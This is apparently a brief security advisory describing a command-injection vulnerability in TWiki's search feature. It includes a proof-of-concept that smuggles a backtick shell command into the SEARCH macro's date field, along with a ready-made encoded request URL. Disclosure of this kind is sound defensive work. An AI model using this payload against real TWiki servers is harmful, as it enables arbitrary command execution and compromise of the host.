source: https://www.securityfocus.com/bid/32668/info

TWiki is prone to a vulnerability that attackers can leverage to execute arbitrary commands in the context of the application. This issue occurs because the application fails to adequately sanitize user-supplied input.

Successful attacks can compromise the affected application and possibly the underlying computer.

Enter the following in the application's search box:
%SEARCH{ date="P`pr -?`" search="xyzzy" }%

http://www.example.com/twiki/bin/view/Main/WebSearch?search=%25SEARCH%7Bdate%3D%22P%60pr+-%3F%60%22+search%3D%22xyzzy%22%7D%25&scope=all